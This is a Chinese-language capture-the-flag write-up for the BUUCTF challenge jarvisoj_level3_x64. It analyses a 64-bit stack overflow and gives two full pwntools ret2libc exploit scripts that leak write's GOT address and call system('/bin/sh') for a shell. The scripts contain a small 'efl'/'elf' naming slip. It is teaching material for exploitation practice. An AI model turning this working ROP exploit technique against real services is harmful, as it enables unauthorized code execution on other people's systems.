题目来源

buuctf: https://buuoj.cn/challenges#jarvisoj_level3_x64
PS:这道题目我看教程(星盟培训)是给libc的,然后其实libc这个东西给不给都能做,具体就是通过libcsearch挨个试,后面的脚本会有俩版本,一个有libc的一个没有的。

分析

文件类型

(pwn) ┌──(kali㉿kali)-[~/pwn/level9]
└─$ file attachment
attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped

动态链接库编译的ELF文件

软件防护

(pwn) ┌──(kali㉿kali)-[~/pwn/level9]
└─$ checksec attachment
[*] '/home/kali/pwn/level9/attachment'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

除了nx基本都关闭。

IDA分析

main函数内容如下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}

主要看vulnerable_function,vulnerable_function内容如下

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  write(1, "Input:\n", 7uLL);
  return read(0, buf, 0x200uLL);
}

其他的基本没啥有用信息,主要有用信息就是一个栈溢出,buf只有128的位置,然后读入了一个0x200的数据。

攻击

攻击思路

这题目除了栈溢出漏洞其他有用信息都没有,栈溢出可以控制程序执行流,这种情况应该只能通过got与libc算偏移,拿到system函数地址,通过libc中找sh去设置system函数的参数。找偏移我们需要让他先把当got表的某个函数的地址泄露出来,拿到它运行的真实地址。在他的程序中可以通过write来回显消息,我们也可以通过它去泄露got地址,因为是64位的程序,前6个参数都得放到寄存器中,我们需要通过gadget去看是否可以通过弹栈的方式去设置参数,能用的gadget如下

(pwn) ┌──(kali㉿kali)-[~/pwn/level9]
└─$ ROPgadget --binary attachment --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11

去构造一个泄露got的write指令,具体能用的gadget如下

# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1

write需要三个参数,第一个是写入位置,第二个是写入的内容,第三个是写入的数量,我们这里只能拿到前两个参数的gadget,遇到这种情况只能试试了,有些时候他这个寄存器中可能本身就存在值,我们不需要设置也可以用,在read函数中我们触发栈溢出的时候,应该是有值的

这里edx是200h,我估计会使用这个,因为栈溢出之后也没有清除他,好我们继续,第一个和第二个参数设置好之后我们需要直接运行write,直接使用got的地址即可,然后输出了之后我们还需要让他继续运行,具体方法就是直接让其运行main函数,让我们可以继续去栈溢出,第一个payload就构造好了具体如下

efl = ELF("./level3_x64")
# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1
# main
main_addr = 0x40061A

payload = flat(
    [
        b"a" * 136,
        p64(pop_rdi_addr),
        p64(1),
        p64(pop_rsi_r15_addr),
        p64(elf.got["write"]),
        p64(0),
        p64(elf.plt["write"]),
        p64(pop_rbp_addr),
        p64(0),
        p64(elf.symbols["main"]),
    ]
)

溢出位数这里不多说,可以直接在ida或者动调去看。这个payload会让程序输出write函数在执行的实际地址,然后继续运行main函数。我们通过下面函数去读取回显,程序会写入两次内容,我们一次性接收给他截断,并且补0(-6是因为第一次数据我们没有结束他会输出一个Input:\n)

addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))

返回的write地址我们通过libcsearch去查询,具体代码如下

libc = LibcSearcher("write", addr)
offset = addr - libc.dump("write")

查询之后我们组装第二个payload,具体就是偏移也查出来了,直接去执行system即可,binsh可以直接从libc中寻找,代码如下

payload = flat(
    [
        b"a" * 136,
        p64(pop_rdi_addr),
        p64(libc.dump("str_bin_sh") + offset),
        p64(libc.dump("system") + offset),
    ]
)

攻击脚本

完整的攻击脚本如下

from pwn import *
from LibcSearcher import LibcSearcher

io = process("./level3_x64")
efl = ELF("./level3_x64")
# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1
# main
main_addr = 0x40061A

payload = flat(
    [
        b"a" * 136,
        p64(pop_rdi_addr),
        p64(1),
        p64(pop_rsi_r15_addr),
        p64(elf.got["write"]),
        p64(0),
        p64(elf.plt["write"]),
        p64(pop_rbp_addr),
        p64(0),
        p64(elf.symbols["main"]),
    ]
)
io.sendline(payload)
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher("write", addr)
offset = addr - libc.dump("write")
payload = flat(
    [
        b"a" * 136,
        p64(pop_rdi_addr),
        p64(libc.dump("str_bin_sh") + offset),
        p64(libc.dump("system") + offset),
    ]
)
io.sendline(payload)
io.interactive()

然后再附上一个题目给libc的脚本

from pwn import *

# from LibcSearcher import LibcSearcher

io = process("./level3_x64")
elf = ELF("./level3_x64")
libc = ELF("./libc-2.23.so")

# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1

payload = flat(
    [
        b"a" * 136,
        p64(pop_rdi_addr),
        p64(1),
        p64(pop_rsi_r15_addr),
        p64(elf.got["write"]),
        p64(0),
        p64(elf.plt["write"]),
        p64(pop_rbp_addr),
        p64(0),
        p64(elf.symbols["main"]),
    ]
)
print(io.recvline())
io.sendline(payload)
addr = u64(io.recvline()[:8])
print("============")
print(addr)
print(libc.symbols["write"])
print("============")
offset = addr - libc.symbols["write"]
payload = flat(
    [
        b"a" * 136,
        p64(pop_rdi_addr),
        p64(next(libc.search(b"/bin/sh\x00")) + offset),
        p64(libc.symbols["system"] + offset),
    ]
)
io.sendline(payload)
io.interactive()

具体区别就是我这里接收了输出,第二次我只需要截取前8位即可。然后就是偏移,libc直接计算即可。

最后修改:2025 年 04 月 09 日
如果觉得我的文章对你有用,请随意赞赏